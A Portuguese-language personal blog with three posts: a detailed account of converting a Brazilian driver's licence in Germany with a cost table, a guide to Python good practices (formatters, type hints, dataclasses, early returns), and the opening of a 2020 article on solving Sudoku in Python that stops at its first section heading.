/dev/null

Weg zum Führerschein

2025-07-15T00:00:00+00:00

Como eu converti minha carteira de motorista na Alemanha — e porque o processo não é tão fácil (nem barato) como eu esperava.

A lei
O procedimento
Preparação
A execução
Tabela de custos
Conclusão

Importante:

Se você planeja visitar a Alemanha, recomendo fortemente emitir sua PID. Em muito casos é possível dirigir com sua carteira de motorista original, mas alguns países e principalmente empresas que alugam carros podem rejeitar sua carteira. É importante também ter o documento original, e não a CNH eletrônica.

A lei

Inicialmente, carteiras de motorista Brasileiras são válidas na maior parte dos países do mundo. Conforme o Tratado de Viena de 1968 (uma expansão do anterior Tratado de Geneva de 1949), Brasileiros podem dirigir em outros países integrantes dos acordos portando a carteira de motorista internacional, ou Permissão Internacional para Dirigir (PID), que pode ser emitida pelo DETRAN ou pelo Automóvel Clube Brasileiro (ACBr).

Confesso que achei algumas partes do documento curiosas, inclusive que, quando o Brasil entrou no tratado, em 1980, foi o único país a se opor à residentes de países que dirigem no lado esquerdo da rua (como o Reino Unido) dirigirem em seu território, até realizarem uma prova prática para o lado direto. Eu fui pesquisar e essa restrição não existe mais, mas é interessante imaginar quais que eram as inimizades naquele período para essas ações.

Mas citando diretamente o Tratado de Viena:

[…] any international permit conforming to the provisions of Annex 7 to this Convention as valid for driving in their territories a vehicle coming within the categories covered by the permit, provided that the permit is still valid [..]

Isso significa que em princípio a PID é aceita normalmente para turistas brasileiros no exterior. No entanto, para condição de residente, as regras são outras:

The provisions of this Article shall not require Contracting Parties [..] to recognize the validity of permits as aforesaid issued to drivers whose normal residence at the time of such issue was not in the territory in which the permit was issued or who since such issue have transferred their residence to another territory

Nesse caso, fica a critério dos países signatários de estabelecer regras de transferência. Portugal, por exemplo, passou em Setembro de 2023 a aceitar carteiras de motorista de brasileiros sem necessidade de conversão. Em outros países como a Croácia, a carteira pode ser simplesmente trocada após pagamento de taxa administrativa de 20,04 Euros sem maiores problemas.

No entanto, esse não é o caso da Alemanha: lá, a carteira é valida nos primeiros seis meses, e, em casos especiais e com pedido de prorrogação, a validate pode ser extendida à até dose meses de validade. Após esse período, a carteira é considerada inválida, e dirigir com ela já não é mais possível (legalmente).

Nesse caso, é necessário inicia o procedimento de “Umtausch”, ou “troca”. E é aí que começa a nossa história.

O procedimento

Para o início do (longo) processo de conversão da carteira, são necessários os seguintes documentos:

Passporte válido
Uma foto biométrica
A CNH física original, dentro da validade, com tradução oficial
Teste de visão (pode ser realizado em qualquer ótica, geralmente sem custo nenhum)
Curso de primeiro socorros (pode ser realizado com a Cruz Vermelha ou organizações similares)
Formulário de requisição de conversão. Nesse formulário, também é necessário informar a auto escola como quem você realizará as provas teóricas e práticas (exemplo para Stuttgart)
Formulário extra com informações da prova teórica e prática. Para ser sincero esse formulário não consta nos requerimentos oficiais, e contém informações repetidas com o outro formulário acima, e é preenchido diretamente na agência governamental. Não faço ideia do porquê de sua existência.
Confirmação do primeiro registro na Alemanha. Esse acredito ser opcional (no meu caso não foi necessário), mas é o documento emitido ao realizar seu primeiro Anmeldung ao chegar no país.

Com relação à tradução, ela é infelizmente necessária caso sua carteira não seja emitida na língua alemã os esteja nos conformes do padrão Muster des Anhangs 6 des Übereinkommens über den Straßenverkehr vom 8. November 1968. A tradução precisa feita por uma dessas entidades:

Clube de automobilismo alemão (por exemplo, ADAC, AvD, ACE)
Clube de automobilismos no país de emissão (nesse caso ACBr)
Tradutora oficial juramentada na Alemanha (ou Dolmetscher, felizmente há um banco de dados com todas na sua região)
Entidade governamental no país de emissão (caso emitam oficialmente em língua alemã)
Capitão de um navio alemão (não, eu não inventei essa!)

Preparação

Teste de visão

O teste de visão é simples e direto ao ponto: você só precisa provar que possui grau de correção abaixo do 0,5 (miopia leve). Caso use correção, como óculos de grau, ela constará nas observações da sua carteira de motorista.

Eu fiz pela Optiker Binder (onde fiz o meu óculos) por ser mais prático. É possível agendar o procedimento via site, fica pronto na hora e é gratuito:

Curso de primeiros socorros

O curso de primeiro socorros, dado no Brasil durante as aulas teóricas, é dado a parte por organizações especializadas. O curso dura 9 horas-aula (aqui, assim como na aula de direção, 1 hora-aula equivalem a 45 minutos, totalizando 7,5h com uma pausa de 45 minutos) e é necessário estar presente durante todo o período. Seu objetivo é te ensinar básicos de:

Como lidar com acidentes, e como ajudar nesses casos
Como tratar ferimentos de diversos tipos, includindo ossos quebrados e queimaduras
Posição de recuperação e ressuscitação
Uso de desfibrilador.

A minha experiência aqui foi… interessante. Eu me senti como se estivesse no episódio do The Office. Pensei se deveria escrever sobre essa experiência, mas acho que foi tão cômica que decidi fazer.

Como, por lei, o curso deve durar 7,5h, isso significa que você não pode terminar eles antes. O que significou várias coisas: longas pausas para os professores fumarem, outras pausas para olhar a chuva correndo pelo lado de fora, pausa para comer, pausa para descansar da pausa…

Os professores trouxeram um projetor que queriam conectar com um tablet por um cabo USB (???). Usei meus conhecimentos de TI para dizer que isso não seria possível, então a aula seguiu então via um tablet sendo mostrado para todos os alunos (que eram 6). Seguimos de maneira tradicional, com monólogos do lado da professora, interrompidos por um silêncio aterrador quando ela fazia alguma pergunta.

— O que fazer no caso de um acidente?

Silêncio

— Qual o primeiro passo?

Silêncio

Eu murmuro alguma coisa sobre assegurar o local do acidente.

Aula continua normalmente. Do lado de fora chove torrencialmente.

Seguimos com algumas atividades práticas de como usar bandagens, como imobilizar um membro quebrado, como retirar alguém que esteja inconsciente de um carro. Massagem cardíaco no boneco enquanto as vozes da minha cabeça cantam Staying alive.

Em algum momento um dos estudantes começa a passar mal, e vai para o canto da sala, se deita no chão e levanta suas pernas. Nesse momento eu penso que é um bom exemplo para a aula de primeiros socorros. Aparentemente está tudo bem, voltemos à matéria.

No final da aula, para a alegria da quinta série, a tarefa foi de fazer um desenho e explicar os sintomas de determinados problemas de saúde, como insolação e queimaduras de pele. Logo após, matamos 30 minutos no celular para o fim do tempo regulamentar, recebemos o certificado escrito à mão, e seguimos para casa.

Com o teste de visão certificado de curso de primeiros socorros, podemos seguir finalmente com os próximos passos.

Führerscheinstelle

Os documentos devem ser entregues preenchidos no departamento competente da sua cidade, chamado “Führerscheinstelle”. Após a entrega, você terá o período de 12 meses para completar as prova de direção teóricas e práticas. Segundo a legislação, não é necessário ter aulas, mas é recomendável ter algumas aulas práticas para treinar.

Parece fácil, mas é difícil.

Assim como toda a agência pública alemã, a experiência não é das melhores. Para se ter uma ideia, mesmo a agência da minha cidade abrindo às 8 da manhã, já havia uma fila de mais de 20 pessoas esperando. Como o processamento de cada pessoa é puramente manual, o número de pessoas que podem ser atendidas é limitado. Por exemplo, antes mesmo de abrir (às 7:50 da manhã), já havia uma placa dizendo que todos as senhas já haviam sido distribuídas:

Esse processo é simples e direto ao ponto (apenas demorado), mas infelizmente tive que esperar nessa fila duas vezes, já que a primeira tradução da carteira foi rejeitada. Apesar de eu ter escolhido uma tradutora da Lista de tradutores juramentados brasileiros, essas traduções só são aceitas em repartições públicas alemãs no Brasil. No entanto, como a minha tradutora não consta no banco de dados oficial (e já que ela não era capitã de navio), a tradução teve que ser refeita mais uma vez na Alemanha.

O erro foi obviamente meu por não se atentar a esse detalhe. No site consta esse adendo:

Um tradutor juramentado no Brasil não é considerado um tradutor público (öffentlich bestellter Übersetzer) na Alemanha, portanto, em alguns casos uma tradução feita por tradutor juramentado no Brasil pode ser rejeitada na Alemanha.

Entregues os documentos, há um tempo de espera até o recebimento da aprovação (como todo alemão gosta, pelos correios). No meu caso, esse período foi de aproximadamente um mês, mas pode variar bastante. Com esse documento, você pode realizar a sua matrícula na autoescola.

A execução

A prova teórica

A prova teória é misto de questões teóricas, práticas, tanto de perguntas técnicas (iluminação, motor, tempo de frenagem), como práticas (reconhecimento de situações de risco, comportamento no trânsito). A prova também é um divisor de águas, já que 45% dos estudantes falham na primeira tentativa. O teste é ofertada em diversas línguas, includindo português (de portugal). Eu fiz o meu teste diretamente em alemão porque para mim foi bom para também aprender o vocabulário (palavras interessantíssimas como, por exemplo, “abschleppstange”).

No caso da classe B (carro), a prova consiste em 30 questões de múltipla escolha (onde uma ou mais opções estão corretas) de um banco de 1189 questões. Caso você erre ao assinalar qualquer uma das uma ou mais opções corretas, a questão será dada como incorreta. Cada questão tem um peso de 2 a 5, e você falha errando mais de 10 pontos (ou duas questões com peso 5). Isso significa que você pode errar no máximo 2-4 perguntas e ainda passar no teste. Para dificultar, o teste tem muitas perguntas de vídeo onde você precisa observar o que está acontecendo na situação e qual é a reação apropriada. O teste se parece assim:

Há vários aplicativos na Play Store que te ajudam a treinar as questões, para que você tenha visto todas as questões pelo menos uma vez, e eu recomendo fortemente que você pratique basicamente todas. Existem boas fontes de preparação também online, eu recomendo, antes de começar a praticar as questões, a fazer esse completíssimo curso da Fahrschule Punkt no YouTube. Além de ser curto e direto ao ponto, é de graça.

Você pode tentar sua sorte em um simulador online para ver como se sai. Se é a sua primeira tentativa, acredito que não bem.

E como eu gosto de fórmulas matemáticas, achei válido que até esse artigo sobre teste de direção deveria ter uma. Aqui vão as fórmulas que você precisa saber para passar no teste:

\[\text{Tempo de reação} = \frac{\text{Velocidade}}{10} \times 3\] \[\text{Tempo de frenagem} = \frac{\text{Velocidade}}{10} \times \frac{\text{Velocidade}}{10}\] \[\text{Tempo de parada} = \text{Tempo de reação} + \text{Tempo de frenagem}\] \[\text{Tempo de frenagem de emergência} = \frac{\text{Tempo de frenagem}}{2}\]

Eu usei esse aplicativo por incontáveis horas, praticando regularmente, no caminho do trabalho e de volta para casa, até o aplicativo me dizer que eu estava pronto. O teste teórico ocorreu sem incidentes, devido à toda a preparação. Se você não quiser contar com a sorte, recomendo que invista bastante tempo na preparação também. Muitas vezes eu pensei que estava pronto, só para ser esculachado por uma ou outra questão que eu não sabia no simulador.

Vale lembrar que algumas questões mudam duas vezes ao ano. Confirme que as questões que você praticou são as mesmas que estarão na prova.

As aulas de direção

Após passar na prova teórica, vieram as aulas de direção. Elas são agendadas diretamente com o seu instrutor.

Aqui, meu truque para economizar foi ter aprendido o máximo possível pela internet antes mesmo de ter a primeira aula.

O canal do YouTube So geht Führerschein! contém materiais excelentes de como proceder com a sinalização de trânsito. Ele ensina muito do que pode acontecer na sua prova teórica, e como reagir a determinadas situações. Também ensina o básico do que evitar durante a prova. E claro, o temido por todos schulterblick, a olhadinha por cima do ombro para vistoriar o ponto cego.

O canal German Driving School tem uma playlist excelente de vídeos de provas reais, que serve para você entender bem o que esperar da sua prova. O mais interessante desses vídeos é observar os vídeos de quem não passou e observar o motivo da falha, para evitar repetir.

As aulas de direção foram tranquilas. Também foram uma formar de botar em prática e validar todo o conhecimento adquirido em preparação para prova. Além disso, é sempre bom dirigir antes pelas ruas por onde a prova prática pode passar, e nesse caso dá mais tranquilidade saber que você já passou por muitas delas antes.

No total, eu fiz 3 aulas duplas (que consistem em 2 aulas de 45 minutos seguidas) de 90 minutos cada.

A prova prática

A prova prática tem duração de 55 minutos, e no meu caso começou e terminou no pátio da minha autoescola. Dos 55 minutos, 30 minutos são dedicados exclusivamente à direção. A prova testa capacidades básicas de direção em diferente situações. Você deve, por exemplo, passar pelo menos uma vez em uma zona residencial, e pelo menos uma vez em uma rodovia. Além disso, são tarefas básicas (Grundaufgaben) do teste:

Estacionamento paralelo, ou curva pela calçada (um dos dois deve ser escolhido pelo avaliador)
Estacionamento de frente ou de ré, ou virar o carro na rua (um dos dois deve ser escolhido pelo avaliador)
Frenagem de emergência

É meio difícil explicar o que as tarefas são exatamente, por isso separei uma fonte com ilustrações do que elas significam.

A pontuação fica a critério do seu avaliador, e não existe um “método” para calcular se você passou ou não. Segundo o regulamento, você não pode cometer nenhuma das infrações consideradas graves, e poucas infrações leves. Teoricamente, você pode falhar com duas ou mais infrações leves, mas fica a cargo do avaliador decidir quantas. Aqui, vale o bom senso: se você consegue mostrar que consegue se comportar adequadamente nas situações mais importantes, é possível que suas infrações leves sejam relevadas.

Alguns exemplos de infrações graves:

Causar situação de perigo
Desrespeito ao direito de prioridade (por exemplo, direita antes da esquerda)
Não parar por 3 segundos ou mais numa placa de Pare
Mudar a faixa sem observar nos espelhos
Furar sinal vermelho
Ultrapassar pela direita em uma rodovia

E alguns exemplos de infrações leves:

Esquecer a seta
Dirigir (levemente!) mais rápido do que o permitido
Dirigir muito mais devagar do que o permitido
Ignorar sinalização
Não manter distância de segurança

A prova inicia com perguntas técnicas sobre o carro: coisas como apontar no motor onde fica o óleo e a água do radiador, como identificar as luzes traseiras, etc. Há bons vídeos como esse que tratam da maioria das perguntas técnicas. Não conseguir responder uma dessas perguntas pode levar a uma infração leve, além de ser uma má primeira impressão para o avaliador.

A minha prova ocorreu sem incidentes. Eu tive uma falha leve de deixar o carro morrer em um cruzamento, conseguindo recuperar rapidamente a situação. O avaliador relevou dizendo que nesse caso, como não houve risco a outras pessoas, isso não levaria à falha. As principais dicas aqui são:

Dirigir sempre com velocidade compatível com a via. Se a rua é estreita, diminua a velocidade. Respeite principalmente as distâncias laterais do carro.
Muito cuidado para não cortar a frente de ninguém. Esse é o principal motivo das falhas na prova prática.
Mostre visivelmente que você está prestando atenção no que está ao seu redor. Se olhou para os espelhos ou para o lado, tenha certeza que foi visto por todos.
Evite pânico, mesmo se você tiver cometido uma infração leve. Quanto mais confiante você dirigir, maior a chance dessa falha ser deixada de lado.

Ao completar a prova, me foi dado um documento confirmação. Esse documento precisa ser entregue às autoridades juntamente com a CNH brasileira original para a retirada da carteira alemã.

Führerscheinstelle (novamente)

No dia seguinte segui até o órgão oficial para retirada da carteira. Felizmente, não é necessário esperar na fila somente para retirada. Voltei então feliz da vida, com o direto de dirigir oficialmente na Alemanha.

Tabela de custos

Tabelei aqui os custos para você ter uma noção do gasto médio de conversão da carteira:

Item	Custo (€)
Tradução juramentada	48,95
Teste de vista	0,00
Curso de primeiros socorros	48,99
Submissão do pedido de aplicação no Führerscheinstelle	42,60
Prova teórica (TüV)	24,99
Prova prática (TüV)	129,83
Taxa de matrícula autoescola	530,00
Taxa de inscrição na prova teórica	90,00
Taxa de inscrição na prova prática	240,00
Aulas de direção (6 aulas de 45 minutos, 75€ por aula)	450,00

Total	1605,36

Sim, eu sei: uma facada. Mas não há muito o que fazer aqui, além de aceitar o fato.

Conclusão

Não foi barato, não foi fácil, e durou quase um ano. Mas no final das contas, deu tudo certo e acho que é isso o que importa.

Espero que escrevendo essa pequena anedota ajude você também a fazer a sua conversão :)

Boas práticas com Python

2024-11-30T00:00:00+00:00

O meu ponto de vista sobre como desenvolver código conciso e legível.

Introdução
Zen do Python
Mudando, mas sem mudar
- Mantenha-se atualizado
- Use formatadores
Sistema de tipos
Não complique, descomplique
Conclusão

Introdução

Não há dúvidas de que Python é uma das linguagens mais fáceis para iniciantes. No artigo anterior, discutimos como um Sudoku pode ser resolvido com apenas algumas linhas de código. No entanto, como tio Ben uma vez disse, com grandes poderes vêm grandes responsabilidades. Esse artigo é uma compilação de algumas dicas de como desenvolver sem ser levado à completa loucura.

Zen do Python

Há um certo easter egg na linguagem introduzido pela PEP20 quando você importa o pacote com import this (tradução retirada da Wikipedia):

The Zen of Python, by Tim Peters

Bonito é melhor que feio.

Explícito é melhor que implícito.

Simples é melhor que complexo.

Complexo é melhor que complicado.

Linear é melhor do que aninhado.

Esparso é melhor que denso.

Legibilidade conta.

Casos especiais não são especiais o bastante para quebrar as regras.

Ainda que praticidade vença a pureza.

Erros nunca devem passar silenciosamente.

A menos que sejam explicitamente silenciados.

Diante da ambiguidade, recuse a tentação de adivinhar.

Dever haver um — e preferencialmente apenas um — modo óbvio para fazer algo.

Embora esse modo possa não ser óbvio a princípio a menos que você seja holandês.

Agora é melhor que nunca.

Apesar de que nunca normalmente é melhor do que exatamente agora

Se a implementação é difícil de explicar, é uma má ideia

Se a implementação é fácil de explicar, pode ser uma boa ideia

Namespaces são uma grande ideia — vamos ter mais dessas!

Muitas vezes existe a tentação enorme de pular muitos dessas dicas. Às vezes, nos deparamos com variáveis que não conseguimos decidir por um bom nome, ou funções que são muito grandes, mas não temos ideia ou tempo para refatorar. A tentação muitas vezes é grande para deixar ferramentas de inteligência artificial fazer funções inteiras, sem entender o código escrito.

Como um desenvolvedor, seu trabalho é chegar em um equilíbrio: como conciliar todos esses desafios?

Mudando, mas sem mudar

A primeira parte das dicas de boas práticas é dedicada à todas as práticas que não alteram uma linha de funcionalidade no seu código (com sorte!). Essas são as dicas que você pode implementar imediatamente com o mínimo de refatoramento.

Mantenha-se atualizado

Pode parecer bobo, mas atualizar constantemente seu interpretador vai te trazer inúmeros benefícios, o mais relevante deles sendo o desempenho e segurança. Exceto se você for um banco que precisa manter código de 60 anos funcionando (creio que não seja), vale atualizar-se nas novas funcionalidades das versões.

Use formatadores

Qual o melhor tipo de indentação, espaços ou tabs? Quantos espaços usar? Uso snake_case ou camelCase? Que ordem coloco meus imports?

Não importa! Use um formatador e pronto.

Sério, todo mundo gosta pretensiosamente de pensar que seu jeito de escrever código é o melhor, e fim de papo. Mas a realidade é que o que é confortável para um não é para o outro. Por isso, autoformatadores garantem que se código vai ser o mesmo independentemente de quem o escreve.

Um desses formatadores é o black. Experimente no black playground como um formatador pode transformar seu código

Antes de formatar:

def very_important_function(template: str, *variables, file: os.PathLike, debug: bool = False, ):
    """Applies `variables` to the `template` and writes to `file`."""
    with open(file, "w") as f:
        ...

Após formatar:

def very_important_function(
        template: str,
        *variables,
        file: os.PathLike,
        debug: bool = False,
):
    """Applies `variables` to the `template` and writes to `file`."""
    with open(file, "w") as f:
        ...

Outro formatador (e linter) é o ruff, que além de formatar outras seções de código e ser compatível com o Black, também é capaz de executar regras de melhores práticas e uniformidade. Por exemplo, você já deve saber que no Python é possível criar dicionários de duas formas:

{"foo": "bar}
dict(foo="bar")

Isso não é exatamente compatível com o Zen do Python:

Dever haver um — e preferencialmente apenas um — modo óbvio para fazer algo.

O ruff garante, com regras, que somente uma dessas formas (a primeira) será utilizada no seu código, eliminando assim disparidades de implementação.

Outra ferramenta interessante e amplamente utilizada é o isort, que uniformiza como seus imports devem ser utilizados: qual a ordem, e como são utilizados. Ele vai, por exemplo, organizar seus imports de forma alfabética, automaticamente agrupar imports do mesmo pacote e mover imports absolutos acima dos parciais.

Todos os três formatadores que citei são compatíveis com pre-commit, que garante que todos serão executados a cada commit no seu repositório, evitando assim que outros desenvolvedores empurrem código não formatado e que não cumpram as regras de formatação. Adicionalmente, você pode adicionar o pre-commit na CI para executar nos pull requests, te avisando de PRs mal formatados.

Sistema de tipos

A linguagem tira as barreiras do sistema de tipos (ou static typing), sendo possível que um objeto tenha vários tipos diferentes durante execução do programa. Por exemplo, a seguinte função consegue ser executada com múltiplos tipos de entrada:

def somar(a, b):
    return a + b

somar(1, 2)  # Resulta em 3
somar("1", "2")  # Result em "12"
somar(True, False)  # Resulta em 1
somar("1", 1)  # Resulta em TypeError: can only concatenate str (not "int") to str

No entanto, o que é para ajudar, acaba piorando. Quem desenvolveu código na época do Python 2 sabe o desastre que pode ser, e consegue entender o motivo de que muitas pessoas terem aversão ao Python. E após bastante tempo (tempo até demais), o Python 3.5 adicionou suporte para tipos.

Você deve estar se perguntando: cria-se uma linguagem sem tipos, e depois se adiciona tipagem, e um verificador de tipos para checar se os tipos fazem sentido? Pode parecer contraintuitivo, mas esse foi o rumo que linguagens como o Javascript (com Typescript) e Python (com mypy) tomaram.

Sem tipagem de variáveis, é bem possível que o seu código fique extremamente confuso, principalmente se você precisa manter código que não é seu. Aliás, quem nunca voltou para o seu código depois de 6 meses para descobrir que não faz mais idea do que determinadas funções recebem de parâmetros?

Com a tipagem correta (e assumindo que eu quero somar inteiros), o código acima pode ser escrito como:

def somar(a: int, b: int) -> int:
    return a + b

Use os tipos corretos

Faça a tipagem de modo mais específico possível. Por exemplo, ao declarar:

def parse_txt_file(file: str) -> str:
    ...


def extract_file(file: str, file_type: str) -> str:
    if file_type == "txt":
        return parse_txt_file(file)
    ...

Fica óbvio na função acima quais os tipos que determinadas entradas devem ter, e o que devem retornar.

Mas não fica claro que o file_type pode assumir apenas alguns valores (como tipos de arquivos). Um melhor tipo para essa função seria usar o typing.Literal:

from typing import Literal


def extract_file(file: str, file_type: Literal["txt", "pdf", "xlsx"]) -> str:
    ...

Nesse caso, é diretamente claro quais tipos de arquivo a função suporta, sem ao menos olhar a implementação dela.

Retorne objetos, não dicionários

Dê uma olhada no seguinte método:

def parse_page(page: dict) -> dict:
    try:
        return {
            "metadata": page["page"].decode(),
            "page_num": page["page_num"],
        }
    except Exception as e:
        return {"error": f"Error processing page: {str(e)}"}

Pode parecer simples, e a tipagem está correta, mas ainda é impossível determinar corretamente qual o formato que a entrada e saída devem ter. Fica muito melhor definir explicitamente com o que a função deve responder:

from dataclasses import dataclass


@dataclass
class Page:
    page: bytes
    page_num: int


@dataclass
class ParsedPage:
    metadata: str
    page_num: int


def parse_page(page: Page) -> ParsedPage:
    try:
        return ParsedPage(page.page.decode(), page.page_num)
    except Exception as e:
        ...

Essa implementação define como os objetos devem ser, não sendo necessário checar se o dicionário tem os campos certos.

Evite múltiplos tipos

Na implementação acima, existe também a possibilidade de a execução gerar um erro, por exemplo, ao passar um dicionário vazio:

def parse_page(page: dict) -> dict:
    try:
        return {
            "metadata": page["page"].decode(),
            "page_num": page["page_num"],
        }
    except Exception as e:
        return {"error": f"Error processing page: {str(e)}"}


parsed_page = parse_page({})
print(parsed_page["metadata"])  # Returna um erro! O objeto só tem o campo "error"

Em geral, não é preferível que seu objeto de retorno varie absurdamente dependendo do input. Como por norma (e obviamente com algumas exceções), eu costumo fazer uma função retornar um tipo, com no máximo dois tipos:

Um tipo esperado da função.
Em alguns casos None, deixando o tipo como opcional.
Alternativamente, se a resposta não foi opcional, uma exceção é levantada.

Aqui estão as duas implementações possíveis com essa regra:

from typing import Optional


# Returna None se a função falha
def parse_page(page: Page) -> Optional[ParsedPage]:
    try:
        return ParsedPage(page.page.decode(), page.page_num)
    except Exception as e:
        print(f"Error processing page: {str(e)}")
        return None


# Levanta uma exceção se a função falha
def parse_page(page: Page) -> ParsedPage:
    return ParsedPage(page.page.decode(), page.page_num)

mypy

O verificador de tipos mais conhecido do Python é o mypy, e ele garante que não há erros de tipagem definidos no seu código. IDEs como o PyCharm já levam em consideração os tipos e mostram avisos quando eles não são respeitados, mas o mypy leva transforma esses avisos em erros. Tomando o exemplo anterior, definiríamos a função como:

def somar(a: int, b: int) -> int:
    return a + b


somar("1", "2")  # Levanta avisos na IDE, mas funciona
somar(1, 2)  # Funciona sem avisos 

Nesse caso, é definido explicitamente quais os tipos que a função aceita, e qual o tipo que retorna. Se rodarmos o mypy test.py com o código acima, obtemos:

Obtemos:

test.py:4: error: Argument 1 to "somar" has incompatible type "str"; expected "int"  [arg-type]
test.py:4: error: Argument 2 to "somar" has incompatible type "str"; expected "int"  [arg-type]
Found 2 errors in 1 file (checked 1 source file)

Não estou sugerindo que você use mypy, mas estou sugerindo que todas as suas funções, métodos tenham tipos de entrada e retorno. Isso facilita e muito no desenvolvimento, além de facilitar a leitura.

Caso você esteja com tempo curto, bibliotecas como o MonkeyType podem ajudar a escrever tipos para código já escrito.

Não complique, descomplique

Outro erro bastante comum é fazer o chamado overengineering, tentando resolver um problem que nem ao menos existe, deixando o código menos legível, e muitas vezes mais lento.

Evite a otimização prematura

Uma frase célebre de Donald Knuth, criador do TeX (predecessor do LaTeX que já cobrimos aqui) é a seguinte:

Programmers waste enormous amounts of time thinking about, or worrying about, the speed of noncritical parts of their programs, and these attempts at efficiency actually have a strong negative impact when debugging and maintenance are considered. We should forget about small efficiencies, say about 97% of the time: premature optimization is the root of all evil. Yet we should not pass up our opportunities in that critical 3%.

Um exemplo bastante claro de otimização prematura, que já passou na cabeça de muitas pessoas (inclusive na minha), é de resolver qual a função deve ser executada com base em um dicionário.

Nesse caso, a função executada depende do parâmetro que foi passado para a função:

import typing


def function_dict(v: str, param: typing.Literal["a", "b", "c"]):
    methods = {
        "a": lambda x: fn_1(x),
        "b": lambda x: fn_2(x),
        "c": lambda x: fn_3(x),
    }
    return methods[param](v)

Essa é uma reimplementação do clássico if-else:

import typing


def function_if(v: str, param: typing.Literal["a", "b", "c"]):
    if param == "a":
        return fn_1(v)
    elif param == "b":
        return fn_2(v)
    elif param == "c":
        return fn_3(v)

Ou, caso você rode Python 3.10 ou superior, um match-case:

import typing


def function_case(v: str, param: typing.Literal["a", "b", "c"]):
    match param:
        case "a":
            return fn_1(v)
        case "b":
            return fn_2(v)
        case "c":
            return fn_3(v)

import time
import typing


def fn(x):
    return x


def function_dict(v, param):
    methods = {
        "a": lambda x: fn(x),
        "b": lambda x: fn(x),
        "c": lambda x: fn(x),
    }
    return methods[param](v)


def function_if(v, param):
    if param == "a":
        return fn(v)
    elif param == "b":
        return fn(v)
    elif param == "c":
        return fn(v)


def function_case(v: str, param: typing.Literal["a", "b", "c"]):
    match param:
        case "a":
            return fn(v)
        case "b":
            return fn(v)
        case "c":
            return fn(v)


t = time.perf_counter()
timed_fn = function_dict
for _ in range(10_000_000):
    timed_fn(1, "c")
t_elapsed = time.perf_counter() - t
print(f"Tempo para {timed_fn.__name__}: {t_elapsed:.1f}s")

Variando as funções obtemos:

Tempo para function_dict: 3.3s
Tempo para function_if: 0.9s
Tempo para function_case: 0.9s

Fica bem claro que, ao usar o dicionário, não só deixar o código mais difícil de entender, ele ficou mais lento.

Otimização é extremamente importante, e é um assunto que ainda quero abordar, mas para otimização é necessário um objetivo específico em mente, e partindo de um tempo de execução de referência. Não há sentido em otimizar apenas como o intuito de… otimizar, sem benefícios concretos.

Use ferramentas da linguagem

Se a linguagem oferece ferramentas, use-as! Aqui vai um exemplo de uma implementação com sintaxe parecida com o C:

i = 0
alphabet = ["a", "b", "c", "d", "e"]
while i < 5:
    print(i, alphabet[i])
    i = i + 1

Se você usa a linguagem por algum tempo, vai perceber que é possível simplificar usando o range:

alphabet = ["a", "b", "c", "d", "e"]
for i in range(5):
    print(i, alphabet[i])

Mas um programador mais experiente vai perceber que essa funcionalidade é suportada com enumerate:

alphabet = ["a", "b", "c", "d", "e"]
for i, letter in enumerate(alphabet):
    print(i, letter)

Três implementações diferentes, sendo a última mais concisa e fácil de entender.

Evite aninhamento

O aninhamento ou nesting é quando suas funções tem muitas e muitas indentações dentro dela. Se você tem que apertar Tab muitas vezes, algo pode estar errado.

Um exemplo é o abaixo, onde fica difícil ler a função, e onde ela retorna no fluxo normal, rapidamente:

def get_user_from_database(user_id: str) -> str | None:
    if user_id is not None:
        return User(user_id)
    else:
        return None


def function(user_id: str) -> User:
    user = get_user_from_database(user_id)
    if user:
        if user.has_permissions():
            return user
        else:
            raise ValueError("user does not have permissions")
    else:
        raise ValueError("User not found")

Nossos olhos instintivamente percorrem até o final da função para encontrar o valor de retorno, nesse caso sem encontrar nada. Uma alternative e implementar o retorno rápido: se algo deu errado, retorne imediatamente.

Na prática, o teste de condições é feito em etapas. A primeira função seria:

def get_user_from_database(user_id: str) -> str | None:
    if user_id is None:
        return None
    return User(user_id)

Nesse caso, o retorno é explícito, e caso algo dê errado, o retorno ocorrerá antes. No segundo caso a mesma coisa:

def function(user_id: str) -> User:
    user = get_user_from_database(user_id)
    if not user:
        raise ValueError("User not found")
    if not user.has_permissions():
        raise ValueError("user does not have permissions")
    return user

Essa técnica pode diminuir a complexidade de leitura e ajudar a entender a função mais rapidamente.

Conclusão

Essas foram algumas dicas de como usar o Python, mas ficam algumas dicas extras como leitura.

Em primeiro lugar, as funções padrão do Python são um bom ponto de partida para entender o que é suportado pela linguagem. Eu descrevi o uso do enumerate e range, mas outros também são bastante utilizados, como o zip, sum, all e any, que valem a pena serem aprendidos.

Outra ferramente importante é o uso dos métodos mágicos, ou dunder methods, que implementam como classes interagem com as operações. Você já deve saber que pode implementar a formatação de texto especial de um objeto re-implementando o método __str__, mas você sabia que também pode implementar como um objeto soma com outro objeto implementando o __add__ e o __radd__?

Por fim, vale dizer que é um eterno aprendizado. Novas funcionalidades são desenvolvidas constantemente, e é necessário continuar sempre aprendendo!

Resolvendo problemas com Python: Sudoku

2020-03-15T00:00:00+00:00

Esse pequeno artigo tenta explicar o poder que a linguagem Python tem para resolver problemas cotidianos de forma rápida.

Porque Python?
O problema
Resolvendo o problema
Código completo
Extras

Porque Python?

O Python é uma linguagem de alto-nível interpretada concebida na década de 1980 e finalmente implementada em sua primeira versão em 1991. Desde então, ela cresceu muito em número de usuários e ficou mais completa e simples de usar. O Python se baseia em alguns princípios definidos na Zen do Python.

The Zen of Python, by Tim Peters

Beautiful is better than ugly. Explicit is better than implicit. Simple is better than complex. Complex is better than complicated. Flat is better than nested. Sparse is better than dense. Readability counts. […]

Como vocês podem ver, a linguagem é focada em ser limpa, concisa e legível, sem perder (muito) a sua velocidade de execução. Afinal, em muitos casos, de que adianta você conseguir rodar algo em C/C++ que é 100x mais rápido que o equivalente em Python, se você demoraria 10x menos para escrever a solução em Python? Se você pretende executar sua solução uma vez para automatizar uma tarefa repetitiva, a rapidez de desenvolvimento é muito mais importante que o tempo de execução.

De acordo com o PYPL (PopularitY of Programming Language), que avalia a popularidade de linguagens de programação. O Python atualmente ocupa a primeira colocação como linguagem mais popular, tendo passado o Java e representando cerca de 30% das buscas no Google entre 22 linguagens. As fantásticas ferramentas incluídas em sua biblioteca padrão (dicionários, listas, operações de entrada e saída, manipulação de strings e objetos, etc) e nas bibliotecas desenvolvidas pela comunidade (plot de gráficos, ferramentas de análise de dados e machine learning, etc) foram as grandes responsáveis por esse sucesso. Muitas vezes, códigos que precisam de várias linhas em outras linguagens possam ser resumidas a uma ou duas linhas usando essas bibliotecas.

Para demonstrar o uso dessa linguagem na prática vamos tentar resolver um sudoku usando Python.

O problema

